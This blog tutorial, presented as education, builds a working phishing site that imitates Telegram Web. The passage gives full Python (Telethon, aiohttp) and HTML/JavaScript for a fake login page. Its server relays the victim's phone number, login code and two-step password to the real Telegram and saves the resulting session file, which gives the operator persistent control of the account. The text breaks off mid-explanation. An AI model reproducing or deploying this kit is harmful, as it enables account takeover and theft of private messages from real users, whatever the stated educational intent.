Don't Get Hooked! Why Phishing is More Mind Game Than Tech Wizardry
Hey everyone! Long time no see, right? So, I've been asked to talk about phishing again, and honestly, I used to think only the most gullible folks fell for these scams. Like, "Who actually clicks those links?" But boy, was I wrong! It turns out there's a whole ocean of unsuspecting people out there, and the phishers are having a field day. So, let's dive into this mess, shall we?
Table of Contents
- What is Phishing, Anyway? (And a Little History Lesson)
- Why Do We Keep Falling for It? The Psychology of the Scam
- Even My Household Isn't Safe (A Personal Tale)
- The New Frontier: Phishing Beyond MFA
- Let's Build a Phishing Simulation (For Educational Purposes, Of Course!)
- How to Dodge the Digital Hooks: Preventing Phishing Attacks
- If You've Been Hooked: How to Recover
- It's Not Telegram's Fault (Mostly!)
- Conclusion: Stay Sharp, Stay Safe
What is Phishing, Anyway? (And a Little History Lesson)
At its core, phishing is less about some hacker wearing a hoodie in a dark room, furiously typing code, and more about plain old psychological manipulation. It's a mind game, folks! The term itself is a clever play on "fishing," aptly describing how malicious actors use deceptive lures – think tempting emails, fake websites, or urgent-sounding messages – to "catch" your sensitive personal information.
This sneaky practice isn't new. It actually dates back to the wild west of the internet, the 1990s, when some clever (and by clever, I mean devious) folks on America Online (AOL) were impersonating employees to snag login credentials. Imagine getting a message from "AOL Admin" asking for your password – innocent times, right? Fast forward to today, and phishing has evolved into a sophisticated, highly profitable business for cybercriminals.
Why Do We Keep Falling for It? The Psychology of the Scam
So, if it's been around for ages, and we hear about it constantly, why do so many people still get reeled in? Well, phishers are incredibly good at what they do. They leverage what we call "social engineering" – basically, they're experts at tricking you into doing something you normally wouldn't. It's less about breaking through firewalls and more about breaking through your common sense (just for a moment!).
They don't necessarily target the cybersecurity experts. In fact, it's often the opposite. They prey on those who are busy, distracted, or simply not thinking like a detective every time they open an email. They play on our emotions:
- Urgency: "Your account will be suspended in 24 hours!"
- Fear: "Unauthorized activity detected on your bank account!"
- Curiosity: "Here are those embarrassing photos of you!"
- Greed: "You've won a million dollars! Just click here to claim!"
They make their fake emails and websites look eerily legitimate, often mimicking well-known brands, banks, or even government agencies. One tiny typo or a slightly off logo might be the only giveaway, but if you're not looking for it, you're toast. It's like dangling a shiny, irresistible object in front of a kitten – sometimes it's just too hard to resist a peek!
Even My Household Isn't Safe (A Personal Tale)
You'd think being married to someone who's constantly immersed in cybersecurity news would make you immune, right? Wrong. My own wife, bless her heart, is a prime example of who these scammers target. She's brilliant in so many ways, but she doesn't live and breathe cybersecurity like some of us do. And that's exactly why she gets these dodgy links sliding into her inbox like clockwork.
I remember one particular instance: my wife received a message with a login page that, while claiming to be for a well-known service (not Facebook — my mistake!), was clearly suspicious upon closer inspection. The layout didn’t resemble Facebook at all. I often wonder how people like my wife fall for such pages. Thankfully, she mentioned it to me before clicking. After a quick inspection, I actually had a little fun with that one — I wrote a script to flood the scammer with fake login data as a tiny act of digital defiance.
By the way, here’s a video I recorded of myself carrying out this small deed of digital defense, in case you’d like to watch:
https://www.youtube.com/watch?v=1rKV6G57f1A
The New Frontier: Phishing Beyond MFA
But here's where things get truly unsettling. Just when we thought Multi-Factor Authentication (MFA) had our backs – that extra layer of security where you get a code on your phone after typing your password – phishers are finding new, insidious ways to bypass it.
Lately, I've been hearing whispers, then outright shouts, about a particularly nasty wave of phishing attacks targeting MFA-enabled accounts. Our beloved Telegram, for instance, seems to be a popular victim. These aren't your grandpa’s phishing scams. Attackers are now using sophisticated social engineering tactics, sometimes even "MFA prompt bombing," where they relentlessly spam your device with authentication requests, hoping you’ll approve one just to make them stop.
See? It’s not about being super technical; it’s about exploiting human nature: our emotions, our knee-jerk reactions, our desire to just make the notifications go away.
Okay, now that we've talked the talk, let’s try to walk the walk together.
On a personal note, after diving into the nitty-gritty of how these phishing pages are built, I quickly realized I’m probably not cut out for a career in phishing. Most of the scam pages I’ve seen don’t pay much attention to detail – no smooth animations, no subtle loading indicators, no perfectly pixel-matched UI. Which, frankly, is a shame... because I’ve spent way too much time obsessing over those things in my own demo projects. My phishing site would probably be too beautiful to be believable! And besides, I wouldn't even know what to write for the initial message to send to my victim – remember, that's the very first part of the psychological process! Since there’s no way I can truly demonstrate that psychological setup in a demo, I’ll leave that dark art to others and stick to showing you the tech part of the trap.
So, buckle up! We've talked the talk – now let's walk through what it takes to build a simplified version of these "mind games." This isn’t about turning you into a scammer – it’s about understanding how they operate so you can spot their tricks from a mile away.
Here's a quick visual comparison to kick things off. Below, you'll find two short screen recordings:
- The Real Deal: A recording of the actual Telegram Web login process, so you can see exactly how it looks and behaves.
- Our Phishing Simulation: A recording of our simplified phishing page in action (once you've seen them side-by-side, you'll really appreciate how closely these phishing sites can mimic the real thing).
Let's Build a Phishing Simulation (For Educational Purposes, Of Course!)
You might think building something like the above demonstration requires a team of shadowy figures and supercomputers, but honestly, with the right tools and a little Python, you can get a surprisingly convincing demo up and running. The main libraries we'll be leveraging are:
- Telethon: This is our heavy lifter for interacting with Telegram directly. It's an asynchronous MTProto client, which basically means it connects to Telegram's API very efficiently, allowing us to mimic a real Telegram client—just like the bad guys would to snag those sessions.
- Aiohttp: If Telethon is our Telegram connector,
aiohttp
is our web server maestro. It's an asynchronous HTTP client/server framework, perfect for serving up those convincing fake login pages and handling incoming requests from unsuspecting "victims." - Livereload: This little gem is purely for my sanity (and yours, if you ever try coding along!). It's a development utility that automatically reloads web pages in your browser whenever you make changes to your code or files. No more constantly restarting the Python server after every tiny tweak—a true time-saver!
Before we dig into the code, let's get a bird's-eye view of our project's anatomy. Understanding the structure will make it much easier to follow along as we dissect each piece.
Here’s our project directory, neat and tidy:
|-sessions
|-static
| |-images
| | |-monkey-blink.png
| | |-monkey-peeking.png
| | |-monkey-right.png
| | |-monkey-front.png
| | |-monkey-left.png
| | |-monkey-covering.png
|-app.py
|-templates
| |-profile.html
| |-index.html
| |-code.html
| |-password.html
|-telegram_client.py
|-main.py
Now, let's roll up our sleeves and go through each file of this project one by one, understanding what each piece of the puzzle does in bringing our simulation to life.
You can find the full source code for this project on GitHub here:
Diving Into the Code: main.py
- The Orchestrator
Alright, let's start peeling back the layers of this project, beginning with main.py
. Think of this file as our little conductor, making sure everything plays nicely together. It's not serving the web pages itself, but it's crucial for our development sanity.
from livereload import Server
import os
server = Server()
# Watch templates and static folders
server.watch('templates/')
server.watch('static/')
# Serve aiohttp on another port
os.system("python app.py &") # or however you run aiohttp
# Start livereload proxy on port 5500 (or whatever you prefer)
server.serve(root='.', port=5500)
So, what's happening here? This entire script is dedicated to running livereload
, a fantastic tool for developers who hate constantly hitting "refresh" or restarting their server. You see that Server()
object? That's our livereload
instance getting ready for action.
The server.watch('templates/')
and server.watch('static/')
lines are essentially telling livereload
, "Hey, keep an eye on these folders! If anything changes in our templates
(which hold our HTML pages) or our static
folder (where images, CSS, and JavaScript live), automatically reload the browser for me." It's like having a little magic elf refreshing your webpage every time you save a change. Pure bliss during development!
Then we hit the slightly more technical part: os.system("python app.py &")
. This line is crucial because our actual web server, built with aiohttp
, is running separately. This command essentially kicks off our app.py
script (which contains our aiohttp
web server) in the background. The &
at the end means "run this in a separate process and don't wait for it to finish," so main.py
can continue setting up livereload
. Because aiohttp
is doing the heavy lifting of serving the web content, livereload
acts as a proxy, passing requests through to aiohttp
but adding its magic refresh capabilities.
Finally, server.serve(root='.', port=5500)
fires up the livereload
proxy server itself, usually on port 5500. This is the port you'd open in your browser. It acts as the gateway: you access your site via localhost:5500
, livereload
sees your request, forwards it to the aiohttp
server (which might be on localhost:8080
or some other port), gets the content back, injects its live-reloading script, and then sends it to your browser. The result? Seamless, automatic refreshes as you tweak your code. It's all about making the development process smoother, so we can focus on crafting those perfectly deceptive (for our demo, of course!) pages without breaking our flow.
Now for the Star: telegram_client.py
- Our Gateway to Telegram
So, how do we actually talk to Telegram? That’s where telegram_client.py
comes in. This file is the core of our interaction with the Telegram network. It sets up a “client” that behaves like a real Telegram app — capable of handling logins and capturing those precious user sessions.
from telethon import TelegramClient
import os
import socks
API_ID = 123456
API_HASH = "64e5f247fbd71144c718363803xxxxx"
SESSION_DIR = "sessions"
os.makedirs(SESSION_DIR, exist_ok=True)
# proxy = (socks.SOCKS5, "127.0.0.1", 9050)
def normalize_phone(phone: str) -> str:
phone = phone.strip().replace(" ", "") # 🧼 remove all spaces
return phone if phone.startswith("+") else f"+{phone}"
def get_session_file(phone: str) -> str:
phone = normalize_phone(phone)
return os.path.join(SESSION_DIR, f"{phone}.session")
def create_client(phone: str) -> TelegramClient:
session_path = get_session_file(phone)
return TelegramClient(session_path, API_ID, API_HASH)
First things first, you'll see from telethon import TelegramClient
. This is where we import the magical library that allows us to interact with Telegram's MTProto API. Remember, MTProto is Telegram's custom, super-secure communication protocol. Telethon simplifies all that complex encryption and networking, letting us focus on the "client" logic.
Next, we have API_ID
and API_HASH
. These are like our application's unique ID and secret key, provided by Telegram when you register a new application on their developer portal. Think of them as the credentials that tell Telegram, "Hey, I'm a legitimate (or at least, claiming to be legitimate) application trying to talk to you!" Crucially, in a real-world scenario (not our educational demo!), these values should never be hardcoded or publicly exposed, as they could be abused.
SESSION_DIR = "sessions"
and os.makedirs(SESSION_DIR, exist_ok=True)
are pretty straightforward. We're setting up a directory called sessions
to store the actual Telegram session files. Telethon uses these .session
files to persist login information. Once a user successfully "logs in" (even through our fake client), Telethon saves an encrypted session token here. This is the holy grail for attackers—with this file, they can access the account without needing the password or even MFA again! exist_ok=True
just makes sure the directory is created if it doesn't already exist, and doesn't throw an error if it does.
You'll also notice a commented-out line for proxy
. This is just a placeholder, hinting that if you wanted to obscure your IP address or route traffic through a specific network, you could configure a SOCKS5 proxy here. Useful for, you know, bad actors trying to hide their tracks.
Now for the functions:
normalize_phone(phone: str) -> str
: This little helper function is all about cleaning up phone numbers. People enter numbers in all sorts of ways—with spaces, without a plus sign, etc. This function strips out spaces and ensures the number starts with a+
(like+1234567890
), which is the standard format Telegram expects. Without this, our "client" might not recognize the phone number.get_session_file(phone: str) -> str
: This one simply constructs the full path to where the session file for a given phone number will be stored within oursessions
directory. So, for a phone like+1234567890
, it might create a file likesessions/+1234567890.session
.create_client(phone: str) -> TelegramClient
: This is the main workhorse function in this file. It takes a phone number, figures out the correct session file path, and then initializes and returns aTelegramClient
object. ThisTelegramClient
instance is what we'll use in other parts of our project to send authentication requests, receive codes, and ultimately, gain control of a session.
So, telegram_client.py
is essentially our setup module, preparing the necessary configurations and helper functions for any interaction our phishing application will have with Telegram's API. It's the technical bridge that connects our fake web front-end to the real Telegram backend.
Next Up: app.py
- The Web Server's Heartbeat (The Full Picture!)
Alright, it's time for the star of our web show: app.py
. This is where all the routes are defined, where our server truly comes alive, and where user interactions (like a "victim" entering their phone number or code) are handled. It's the central nervous system of our fake Telegram web client.
Let's dump the entire code for app.py
here, and then we'll go through it route by route, explaining its purpose and linking it to the relevant HTML template's JavaScript magic.
import os
from aiohttp import web
import aiohttp_jinja2
import jinja2
from telethon.errors import SessionPasswordNeededError, AuthRestartError
from telegram_client import create_client
routes = web.RouteTableDef()
# In-memory store of phone_code_hashes
phone_code_hash_map = {}
@routes.get("/")
@aiohttp_jinja2.template("index.html")
async def index(request):
return {}
@routes.post("/send-code")
@aiohttp_jinja2.template("code.html")
async def send_code(request):
data = await request.post()
phone = data.get("phone")
client = create_client(phone)
await client.connect()
try:
if not await client.is_user_authorized():
sent = await client.send_code_request(phone)
phone_code_hash_map[phone] = sent.phone_code_hash
return {"phone": phone, "message": "Code sent. Please check Telegram."}
else:
return web.HTTPFound(f"/profile?phone=+{phone.lstrip('+')}")
except AuthRestartError:
path = f"sessions/+{phone.lstrip('+')}.session"
if os.path.exists(path):
os.remove(path)
return aiohttp_jinja2.render_template("index.html", request, {
"error": "Telegram canceled the login attempt. Please try again."
})
except Exception as e:
print("Error during send_code:", e)
return aiohttp_jinja2.render_template("index.html", request, {
"error": str(e)
})
@routes.post("/verify-code")
async def verify_code(request):
data = await request.post()
phone = data.get("phone")
code = data.get("code")
phone_code_hash = phone_code_hash_map.get(phone)
if not phone_code_hash:
return web.Response(text="Missing phone_code_hash. Please restart login.")
client = create_client(phone)
await client.connect()
try:
await client.sign_in(phone=phone.strip(), code=code, phone_code_hash=phone_code_hash)
await client.disconnect() # ✅ Ensures session is saved
return web.HTTPFound(f"/profile?phone={phone}")
except SessionPasswordNeededError:
return aiohttp_jinja2.render_template("password.html", request, {"phone": phone})
except Exception as e:
return web.Response(text=f"Login failed: {e}")
@routes.post("/verify-password")
async def verify_password(request):
data = await request.post()
phone = data.get("phone")
password = data.get("password")
client = create_client(phone)
await client.connect()
try:
await client.sign_in(password=password)
await client.disconnect()
return web.HTTPFound(f"/profile?phone=+{phone.lstrip('+')}")
except Exception as e:
return aiohttp_jinja2.render_template("password.html", request, {
"phone": phone,
"error": str(e)
})
@routes.get("/profile")
@aiohttp_jinja2.template("profile.html")
async def profile(request):
phone = request.query.get("phone")
client = create_client(phone)
await client.connect()
if not await client.is_user_authorized():
return web.Response(text="Unauthorized", status=401)
me = await client.get_me()
return {
"id": me.id,
"first_name": me.first_name,
"username": me.username,
"phone": phone
}
def create_app():
app = web.Application()
base_dir = os.path.dirname(os.path.abspath(__file__))
aiohttp_jinja2.setup(app, loader=jinja2.FileSystemLoader(os.path.join(base_dir, "templates")))
app.router.add_static('/static', path=os.path.join(base_dir, 'static'), name='static')
app.add_routes(routes)
return app
if __name__ == "__main__":
web.run_app(create_app(), port=8080)
The /
Route in app.py
and index.html
- The Grand Entrance
Let's start with the simplest route in app.py
: the root path, /
.
@routes.get("/")
@aiohttp_jinja2.template("index.html")
async def index(request):
return {}
This bit of Python code is incredibly straightforward.
@routes.get("/")
: This decorator tellsaiohttp
that when a user makes an HTTP GET request to the root URL (e.g.,http://localhost:5500/
), theindex
function below it should be executed.@aiohttp_jinja2.template("index.html")
: This is a handy decorator fromaiohttp_jinja2
(which we configured increate_app
). It means that whatever dictionary ourindex
function returns will be passed as context toindex.html
, and thenindex.html
will be rendered and sent back as the response.async def index(request): return {}
: Ourindex
function simply takes therequest
object (which contains all the details about the incoming request) and returns an empty dictionary{}
. Since we're not passing any specific data toindex.html
at this initial load (like an error message from a previous attempt), an empty dictionary is all we need.
In essence, this route just says: "Someone landed on our fake Telegram login page? Great! Show them index.html
." Simple, elegant, and designed to look utterly harmless.
Diving into index.html
(Focusing on the JavaScript)
Now for index.html
itself. This is the visual lure, designed to perfectly mimic Telegram's clean, intuitive login interface. While the HTML provides the structure and the Tailwind CSS gives it that polished look, the JavaScript is what makes it interactive and, crucially, captures the initial phone number.
Here's the full code for index.html
:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="https://cdn.jsdelivr.net/npm/@tailwindcss/browser@4"></script>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link href="https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet" />
<style type="text/tailwindcss">
@theme {
--font-sans: "Roboto", "Instrument Sans", ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
}
</style>
<title>Telegram Web</title>
</head>
<body>
<div class="flex h-screen w-full flex-col items-center justify-center">
<div class="relative flex w-full max-w-md flex-col items-center">
<svg xmlns="http://www.w3.org/2000/svg" class="size-40 text-[#3390ec]" viewBox="0 0 160 160">
<path
fill="currentColor"
d="M80,0 C124.18278,0 160,35.81722 160,80 C160,124.18278 124.18278,160 80,160 C35.81722,160 0,124.18278 0,80 C0,35.81722 35.81722,0 80,0 Z M114.262551,46.4516129 L114.123923,46.4516129 C111.089589,46.5056249 106.482806,48.0771432 85.1289541,56.93769 L81.4133571,58.4849956 C72.8664779,62.0684477 57.2607933,68.7965125 34.5963033,78.66919 C30.6591745,80.2345564 28.5967328,81.765936 28.4089783,83.2633288 C28.0626453,86.0254269 31.8703852,86.959903 36.7890378,88.5302703 L38.2642674,89.0045258 C42.3926354,90.314406 47.5534685,91.7248852 50.3250916,91.7847532 C52.9151948,91.8407003 55.7944784,90.8162976 58.9629426,88.7115451 L70.5121776,80.9327422 C85.6657026,70.7535853 93.6285785,65.5352892 94.4008055,65.277854 L94.6777873,65.216416 C95.1594319,65.1213105 95.7366278,65.0717596 96.1481181,65.4374337 C96.6344248,65.8695939 96.5866185,66.6880224 96.5351057,66.9075859 C96.127514,68.6448691 75.2839361,87.6143392 73.6629144,89.2417998 L73.312196,89.6016896 C68.7645143,94.2254793 63.9030972,97.1721503 71.5637945,102.355193 L73.3593638,103.544598 C79.0660342,107.334968 82.9483395,110.083813 88.8107882,113.958377 L90.3875424,114.996094 C95.0654739,118.061953 98.7330313,121.697601 103.562866,121.253237 C105.740839,121.052855 107.989107,119.042224 109.175465,113.09692 L109.246762,112.727987 C112.002037,98.0012935 117.417883,66.09303 118.669527,52.9443975 C118.779187,51.7924073 118.641237,50.318088 118.530455,49.6708963 L118.474159,49.3781963 C118.341081,48.7651315 118.067967,48.0040758 117.346762,47.4189793 C116.412565,46.6610871 115.002114,46.4638844 114.262551,46.4516129 Z"
/>
</svg>
<h4 class="mt-14 text-4xl font-medium">Sign in to Telegram</h4>
<p class="mt-5 w-[244px] text-center text-sm text-gray-500">Please confirm your country code and enter your phone number.</p>
<div class="relative mt-6.5 w-full max-w-sm">
<label for="name" class="absolute -top-2 left-3 inline-block rounded-lg bg-white px-1 text-xs text-gray-900">
Country
</label>
<div class="flex items-center">
<input
type="text"
name="name"
id="name"
autocomplete="country"
class="block h-12 w-full rounded-xl bg-white py-1.5 pr-10 pl-4 text-base text-gray-900 outline-1 -outline-offset-1 outline-gray-300 placeholder:text-gray-400 focus:outline-1 focus:-outline-offset-1 focus:outline-[#3390ec] sm:text-sm/6"
placeholder="Country"
value="Maldives"
data-toggle="country-dropdown"
/>
<svg
id="toggle-btn"
xmlns="http://www.w3.org/2000/svg"
fill="none"
viewBox="0 0 24 24"
stroke-width="1.5"
stroke="currentColor"
class="absolute right-4 size-5.5 cursor-pointer text-gray-500 pointer-events-none transition-all duration-300 ease-in-out"
>
<path stroke-linecap="round" stroke-linejoin="round" d="m19.5 8.25-7.5 7.5-7.5-7.5" />
</svg>
</div>
<div
id="country-dropdown"
class="absolute left-0 z-50 top-full mt-2 hidden max-h-full overflow-auto [&::-webkit-scrollbar]:hidden [-ms-overflow-style:none] [scrollbar-width:none] w-full rounded-xl bg-white shadow-[0_8px_17px_2px_#00000024,0_3px_14px_2px_#0000001f,0_5px_5px_-3px_#0003]"
>
<ul id="country-list" class="text-base text-gray-700 py-2">
</ul>
</div>
</div>
<div class="relative isolate mt-6.5 w-full max-w-sm">
<label for="phone-number" class="absolute -top-2 left-3 inline-block rounded-lg bg-white px-1 text-xs text-gray-900">Phone Number</label>
<div class="flex items-center">
<p id="country-code" class="absolute left-4 text-base text-gray-900 sm:text-sm/6">+960</p>
<input
type="tel"
name="phone-number"
id="phone-number"
class="h-12 w-full rounded-xl bg-white py-1.5 pr-3 pl-14 text-base text-gray-900 outline-1 -outline-offset-1 outline-gray-300 [-moz-appearance:_textfield] placeholder:text-gray-400 focus:outline-1 focus:-outline-offset-1 focus:outline-[#3390ec] sm:text-sm/6 [&::-webkit-inner-spin-button]:m-0 [&::-webkit-inner-spin-button]:appearance-none [&::-webkit-outer-spin-button]:m-0 [&::-webkit-outer-spin-button]:appearance-none"
placeholder=" ‒‒‒ ‒‒‒‒"
/>
</div>
</div>
<button
id="nextButton"
class="text-md mt-6.5 flex h-12 w-full max-w-sm cursor-pointer items-center justify-center rounded-xl bg-[#3390ec] px-3 py-1.5 font-medium text-white shadow-xs hover:bg-[#3390ec]/95 focus-visible:outline-none"
>
Next
</button>
<a href="#" class="text-md font-base mt-2 flex h-12 w-full max-w-sm cursor-pointer items-center justify-center rounded-xl px-3 py-1.5 text-[#3390ec] hover:bg-[#24A1DE]/10 focus-visible:outline-none">LOGIN BY QR CODE</a>
</div>
</div>
<script src="https://unpkg.com/[email protected]/bundle/libphonenumber-js.min.js"></script>
<script>
const countries = [
{ emoji: "🇧🇾", name: "Belarus", code: "+375", example: "29 123 4567", format: "-- --- ----" },
{ emoji: "🇲🇻", name: "Maldives", code: "+960", example: "712 3456", format: "--- ----" },
{ emoji: "🇿🇲", name: "Zambia", code: "+260", example: "95 123 4567", format: "-- --- ----" },
{ emoji: "🇿🇼", name: "Zimbabwe", code: "+263", example: "71 234 5678", format: "-- --- ----" },
];
const input = document.querySelector('[data-toggle="country-dropdown"]');
const dropdown = document.getElementById("country-dropdown");
const toggleBtn = document.getElementById("toggle-btn");
const ul = document.getElementById("country-list");
const pC = document.getElementById("country-code");
const phoneNumber = document.getElementById("phone-number");
function renderCountryList(list) {
ul.innerHTML = "";
const itemHeight = 84; // px per item
const maxHeight = 376;
if (list.length === 0) {
const li = document.createElement("li");
li.className = "p-4 text-center text-gray-500";
li.textContent = "No results found";
ul.appendChild(li);
dropdown.style.maxHeight = "84px";
return;
}
list.forEach((country) => {
const li = document.createElement("li");
li.className = "p-4 flex items-center justify-between hover:bg-gray-100 cursor-pointer";
li.setAttribute("data-name", country.name);
li.setAttribute("data-code", country.code);
li.setAttribute("data-format", country.format);
li.setAttribute("data-example", country.example);
const div = document.createElement("div");
div.className = "flex items-center gap-4";
const emojiSpan = document.createElement("span");
emojiSpan.className = "text-2xl";
emojiSpan.textContent = country.emoji;
const nameSpan = document.createElement("span");
nameSpan.textContent = country.name;
div.appendChild(emojiSpan);
div.appendChild(nameSpan);
const codeSpan = document.createElement("span");
codeSpan.className = "text-gray-400";
codeSpan.textContent = country.code;
li.appendChild(div);
li.appendChild(codeSpan);
ul.appendChild(li);
});
const newHeight = Math.min(list.length * itemHeight, maxHeight);
dropdown.style.maxHeight = `${newHeight}px`;
}
function generateCountryList() {
renderCountryList(countries);
}
// Toggle dropdown and arrow flip
function toggleDropdown(open = null) {
const shouldOpen = open !== null ? open : dropdown.classList.contains("hidden");
if (shouldOpen) {
dropdown.classList.remove("hidden");
toggleBtn.classList.add("rotate-180");
} else {
dropdown.classList.add("hidden");
toggleBtn.classList.remove("rotate-180");
}
}
// On input click, toggle
input.addEventListener("click", (e) => {
e.stopPropagation(); // Avoid bubbling to doc click
toggleDropdown(true);
});
// On input typing, filter
input.addEventListener("input", () => {
const term = input.value.trim().toLowerCase();
const filtered = countries.filter((c) => c.name.toLowerCase().includes(term) || c.code.includes(term));
toggleDropdown(true);
renderCountryList(filtered);
});
// Clicking outside closes dropdown
document.addEventListener("click", (e) => {
if (!input.contains(e.target) && !dropdown.contains(e.target) && !toggleBtn.contains(e.target)) {
toggleDropdown(false);
}
});
// On selecting a country
ul.addEventListener("click", (e) => {
const listItem = e.target.closest("li");
if (!listItem) return;
const countryName = listItem.getAttribute("data-name");
const countryCode = listItem.getAttribute("data-code");
const countryFormat = listItem.getAttribute("data-format");
input.value = countryName;
pC.innerHTML = countryCode;
phoneNumber.setAttribute("placeHolder", countryFormat);
toggleDropdown(false);
});
document.addEventListener("DOMContentLoaded", generateCountryList);
// SVG click toggles dropdown too
toggleBtn.addEventListener("click", (e) => {
e.stopPropagation();
const isHidden = dropdown.classList.contains("hidden");
toggleDropdown(isHidden);
});
function submitPhoneForm() {
const countryCode = document.getElementById("country-code").textContent.trim(); // e.g., "+960"
const phoneNumber = document.getElementById("phone-number").value.trim(); // e.g., "7788990"
const fullInput = `${countryCode}${phoneNumber}`.replace(/\s+/g, '');
// const parsed = libphonenumber.parseIncompletePhoneNumber(fullInput);
const form = document.createElement("form");
form.method = "POST";
form.action = "/send-code";
const input = document.createElement("input");
input.type = "hidden";
input.name = "phone";
input.value = fullInput;
form.appendChild(input);
document.body.appendChild(form);
form.submit();
}
// On button click
document.getElementById("nextButton").addEventListener("click", submitPhoneForm);
// On Enter press inside input
document.getElementById("phone-number").addEventListener("keydown", (event) => {
if (event.key === "Enter") {
event.preventDefault(); // Prevent form default submission (optional but recommended)
submitPhoneForm();
}
});
</script>
</body>
</html>
What's going on here?
This JavaScript is all about creating a highly interactive and user-friendly experience, making the fake login feel completely legitimate.
Country List Data: At the top, we see a
const countries
array. This is a small, hardcoded list of countries with their emojis, names, country codes, example phone number formats, and a placeholder for number formatting. Our demo currently focuses on just a few (Belarus, Maldives, Zambia, Zimbabwe), but a real phishing site might have a much more extensive list, often scraped from legitimate Telegram clients.DOM Element Selection: A bunch of
const
variables likeinput
,dropdown
,ul
,pC
,phoneNumber
are grabbing references to specific HTML elements. This is standard JavaScript for interacting with the page.Dynamic Country Dropdown:
renderCountryList(list)
: This function takes a list of countries and dynamically builds the<li>
elements inside the<ul>
withid="country-list"
. It also smartly adjusts themaxHeight
of the dropdown based on how many results are showing, making it look slick. If no results are found during a search, it displays a "No results found" message.generateCountryList()
: Simply callsrenderCountryList
with the fullcountries
array when the page loads, populating the dropdown initially.toggleDropdown(open = null)
: Controls the visibility of the country dropdown and rotates the little SVG arrow (toggleBtn
) to indicate if the dropdown is open or closed.- Event Listeners for the Country Input:
- When the "Country"
input
is clicked,toggleDropdown(true)
opens the list.e.stopPropagation()
is used to prevent the click from bubbling up and immediately closing the dropdown via thedocument.addEventListener
below. - As you type into the "Country" input, an
input
event listener filters thecountries
array in real-time. This is a crucial detail for user experience – it looks like a fully functional search bar, which adds to the illusion of legitimacy. - A
document.addEventListener("click", ...)
acts as a "click outside to close" mechanism. If you click anywhere on the document except the input, dropdown, or toggle button, the dropdown gracefully closes. This attention to detail makes the phishing page feel like a real app. - When you select a country from the dropdown (
ul.addEventListener("click", ...)
), the JavaScript updates the "Country" input with the selected name, sets thecountry-code
paragraph (next to the phone number input) with the correct country code (e.g.,+960
), and even updates thephoneNumber
input's placeholder to show the expected format (e.g.,--- ----
for Maldives). This level of responsiveness is designed to build trust.
- When the "Country"
Phone Number Submission Logic (
submitPhoneForm
):- This is the most critical part for our phishing operation! It grabs the
countryCode
and thephoneNumber
as entered by the user. - It then constructs the
fullInput
by concatenating them and removing any spaces (.replace(/\s+/g, '')
). This creates the clean phone number string (e.g.,+9607788990
) that ourtelegram_client.py
expects. - The Sneaky Part: Instead of relying on a pre-existing HTML
<form>
, the JavaScript dynamically creates a new<form>
element, sets itsmethod
toPOST
and itsaction
to/send-code
. - It then creates a
hidden
input field, sets itsname
to"phone"
, and shoves ourfullInput
phone number into itsvalue
. - Finally, it appends this dynamically created form to the
document.body
and immediately callsform.submit()
. This makes the browser send a POST request to our/send-code
endpoint inapp.py
with the collected phone number. The user sees a seamless transition, unaware that their input just went to our server.
- This is the most critical part for our phishing operation! It grabs the
Submission Triggers:
document.getElementById("nextButton").addEventListener("click", submitPhoneForm)
: When the user clicks the "Next" button, oursubmitPhoneForm
function is called.document.getElementById("phone-number").addEventListener("keydown", ...)
: If the user presses "Enter" while typing in the phone number field, it also triggerssubmitPhoneForm()
. This covers common user behaviors, again, making the page feel responsive and real.
Next Up: The /send-code
Route and code.html
- The Moment of Truth (and the Code Input)
Now that our index.html
has successfully captured the victim's phone number and silently POSTed it to our server, the /send-code
route in app.py
takes over. This is where we initiate the actual Telegram authentication flow, prompting the real Telegram service to send a login code to the victim's phone.
Let's look at the /send-code
route first:
@routes.post("/send-code")
@aiohttp_jinja2.template("code.html")
async def send_code(request):
data = await request.post()
phone = data.get("phone")
client = create_client(phone)
await client.connect()
try:
if not await client.is_user_authorized():
sent = await client.send_code_request(phone)
phone_code_hash_map[phone] = sent.phone_code_hash
return {"phone": phone, "message": "Code sent. Please check Telegram."}
else:
return web.HTTPFound(f"/profile?phone=+{phone.lstrip('+')}")
except AuthRestartError:
path = f"sessions/+{phone.lstrip('+')}.session"
if os.path.exists(path):
os.remove(path)
return aiohttp_jinja2.render_template("index.html", request, {
"error": "Telegram canceled the login attempt. Please try again."
})
except Exception as e:
print("Error during send_code:", e)
return aiohttp_jinja2.render_template("index.html", request, {
"error": str(e)
})
Here's the breakdown of what this route does:
- Receive Phone Number:
data = await request.post()
grabs the data posted fromindex.html
(which includes the phone number).phone = data.get("phone")
extracts that number. - Create Telegram Client:
client = create_client(phone)
uses our helper function fromtelegram_client.py
to get aTelethon
client instance, specifically tied to this phone number's potential session file.await client.connect()
establishes a connection to Telegram's servers. - Check Authorization & Send Code:
if not await client.is_user_authorized():
: This is the crucial check. If the Telethon client isn't already authorized (meaning we don't have a valid session for this phone number yet), we proceed to send a login code.sent = await client.send_code_request(phone)
: This line actually tells the real Telegram servers, "Hey, please send a login code to this phone number." Telegram then sends an official code, often within the Telegram app itself or via SMS, which is what the victim will see.phone_code_hash_map[phone] = sent.phone_code_hash
: This is a critical step! When Telegram sends a code, it also sends back aphone_code_hash
. This hash is required to verify the code later. We store it in an in-memory dictionary (phone_code_hash_map
) for later retrieval when the user enters the code. This is why a real phishing server needs to maintain state for each victim.return {"phone": phone, "message": "Code sent. Please check Telegram."}
: If successful, we rendercode.html
(because of the@aiohttp_jinja2.template("code.html")
decorator), passing the phone number and a message to display on the next page.else: return web.HTTPFound(f"/profile?phone=+{phone.lstrip('+')}")
: If, by some chance, theclient.is_user_authorized()
check surprisingly passes (meaning we already have a valid session for this phone number – perhaps from a previous successful attempt), we simply redirect the "victim" straight to the/profile
page, making it seem like they were already logged in. This is a rare, but good, fallback.
- Error Handling:
except AuthRestartError
: This specific Telethon error means Telegram canceled the login attempt (e.g., if the user tried to log in too many times or there was an issue on Telegram's side). In this case, we clean up any partial session file and redirect the user back toindex.html
with an error message, prompting them to try again. This helps the phishing flow seem resilient.except Exception as e
: Catches any other unexpected errors during the process, prints them to the server console, and then rendersindex.html
again with a generic error message.
In essence, /send-code
